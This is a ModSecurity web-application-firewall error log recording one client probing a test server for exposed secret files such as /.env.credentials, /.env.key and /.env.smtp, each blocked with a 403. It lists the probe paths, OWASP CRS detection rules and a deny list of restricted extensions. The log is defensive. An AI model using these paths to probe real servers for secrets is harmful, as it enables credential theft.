[Wed Feb 25 06:04:43.484843 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.back&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.back&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiajAAAAAA&quot;]
[Wed Feb 25 06:04:43.485134 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.back&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiajAAAAAA&quot;]
[Wed Feb 25 06:04:43.485356 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.back&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiajAAAAAA&quot;]
[Wed Feb 25 06:04:43.514099 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bkp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bkp&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiajQAAAAA&quot;]
[Wed Feb 25 06:04:43.514421 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bkp&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiajQAAAAA&quot;]
[Wed Feb 25 06:04:43.514624 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bkp&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiajQAAAAA&quot;]
[Wed Feb 25 06:04:43.564288 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.credentials&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiajgAAAAA&quot;]
[Wed Feb 25 06:04:43.564591 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.credentials&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiajgAAAAA&quot;]
[Wed Feb 25 06:04:43.564777 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.credentials&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiajgAAAAA&quot;]
[Wed Feb 25 06:04:43.590042 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /__tests__/test-become/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__tests__/test-become/.env&quot;] [unique_id &quot;aZ6C64v6AM5Bs3q_JQDYHAAAAAc&quot;]
[Wed Feb 25 06:04:43.590403 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__tests__/test-become/.env&quot;] [unique_id &quot;aZ6C64v6AM5Bs3q_JQDYHAAAAAc&quot;]
[Wed Feb 25 06:04:43.590600 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__tests__/test-become/.env&quot;] [unique_id &quot;aZ6C64v6AM5Bs3q_JQDYHAAAAAc&quot;]
[Wed Feb 25 06:04:43.666519 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.email&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.email&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiajwAAAAA&quot;]
[Wed Feb 25 06:04:43.666818 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.email&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiajwAAAAA&quot;]
[Wed Feb 25 06:04:43.667020 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.email&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiajwAAAAA&quot;]
[Wed Feb 25 06:04:43.721211 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.hidden&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hidden&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiakAAAAAA&quot;]
[Wed Feb 25 06:04:43.721498 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hidden&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiakAAAAAA&quot;]
[Wed Feb 25 06:04:43.721714 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hidden&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiakAAAAAA&quot;]
[Wed Feb 25 06:04:43.803756 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.hide&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hide&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiakQAAAAA&quot;]
[Wed Feb 25 06:04:43.804036 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hide&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiakQAAAAA&quot;]
[Wed Feb 25 06:04:43.804225 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hide&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiakQAAAAA&quot;]
[Wed Feb 25 06:04:43.879702 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiakgAAAAA&quot;]
[Wed Feb 25 06:04:43.879985 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiakgAAAAA&quot;]
[Wed Feb 25 06:04:43.880170 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiakgAAAAA&quot;]
[Wed Feb 25 06:04:44.001095 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiakwAAAAA&quot;]
[Wed Feb 25 06:04:44.001429 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiakwAAAAA&quot;]
[Wed Feb 25 06:04:44.001695 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiakwAAAAA&quot;]
[Wed Feb 25 06:04:44.001866 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiakwAAAAA&quot;]
[Wed Feb 25 06:04:44.139103 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.mail&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.mail&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRialAAAAAA&quot;]
[Wed Feb 25 06:04:44.139404 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.mail&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRialAAAAAA&quot;]
[Wed Feb 25 06:04:44.139604 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.mail&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRialAAAAAA&quot;]
[Wed Feb 25 06:04:44.206575 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRialQAAAAA&quot;]
